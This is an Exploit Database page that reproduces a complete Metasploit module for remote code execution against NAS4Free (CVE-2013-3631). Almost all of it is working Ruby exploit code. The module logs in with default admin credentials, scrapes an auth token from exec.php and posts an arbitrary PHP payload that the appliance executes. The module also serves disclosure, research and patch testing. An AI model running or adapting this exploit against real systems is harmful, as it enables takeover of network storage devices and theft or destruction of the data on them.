NAS4Free – Remote Code Execution (Metasploit)

• Exploit Database
• 34 阅读

• 作者： Metasploit
  日期： 2013-10-31
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/29320/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'rex'
  require 'rexml/document'
  
  class Metasploit4 < Msf::Exploit::Remote
  Rank = GreatRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'NAS4Free Arbitrary Remote Code Execution',
  'Description'=> %q{
  NAS4Free allows an authenticated user to post PHP code to a special HTTP script and have
  the code executed remotely. This module was successfully tested against NAS4Free version
  9.1.0.1.804. Earlier builds are likely to be vulnerable as well.
  },
  'Author' => [
  'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  ['CVE', '2013-3631'],
  ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
  ],
  'Payload'=>
  {
  'Space' => 21244,
  'DisableNops' => true,
  'BadChars' => ''
  },
  'Targets'=>
  [
  [ 'Automatic Target', { } ]
  ],
  'Privileged' => true,
  'Platform' => ['php'],
  'Arch' => ARCH_PHP,
  'DisclosureDate' => 'Oct 30 2013',
  'DefaultTarget' => 0))
  
  register_options([
  OptString.new('USERNAME', [ true, "Username to authenticate with", "admin"]),
  OptString.new('PASSWORD', [ false, "Password to authenticate with", "nas4free"])
  ], self.class)
  end
  
  def exploit
  init = send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path, '/')
  })
  
  sess = init.get_cookies
  
  post = {
  'username' => datastore["USERNAME"],
  'password' => datastore["PASSWORD"]
  }
  
  login = send_request_cgi({
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, '/login.php'),
  'vars_post' => post,
  'cookie' => sess
  })
  
  if !login or login.code != 302
  fail_with("Login failed")
  end
  
  exec_resp = send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path, '/exec.php'),
  'cookie' => sess
  })
  
  if !exec_resp or exec_resp.code != 200
  fail_with('Error getting auth token from exec.php')
  end
  
  authtoken = ''
  #The html returned is not well formed, so I can't parse it with rexml
  exec_resp.body.each_line do |line|
  next if line !~ /authtoken/
  authtoken = line
  end
  
  doc = REXML::Document.new authtoken
  input = doc.root
  
  if !input
  fail_with('Error getting auth token')
  end
  
  token = input.attributes["value"]
  
  data = Rex::MIME::Message.new
  data.add_part('', nil, nil, 'form-data; name="txtCommand"')
  data.add_part('', nil, nil, 'form-data; name="txtRecallBuffer"')
  data.add_part('', nil, nil, 'form-data; name="dlPath"')
  data.add_part('', 'application/octet-stream', nil, 'form-data; name="ulfile"; filename=""')
  data.add_part(payload.encoded, nil, nil, 'form-data; name="txtPHPCommand"')
  #data.add_part(token, nil, nil, 'form-data; name="authtoken"')
  
  #I need to build the last data part by hand due to a bug in rex
  data_post = data.to_s
  data_post = data_post[0..data_post.length-data.bound.length-7]
  
  data_post << "\r\n--#{data.bound}"
  data_post << "\r\nContent-Disposition: form-data; name=\"authtoken\"\r\n\r\n"
  data_post << token
  data_post << "\r\n--#{data.bound}--\r\n\r\n"
  
  resp = send_request_raw({
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, '/exec.php'),
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data' => data_post,
  'cookie' => sess
  })
  end
  end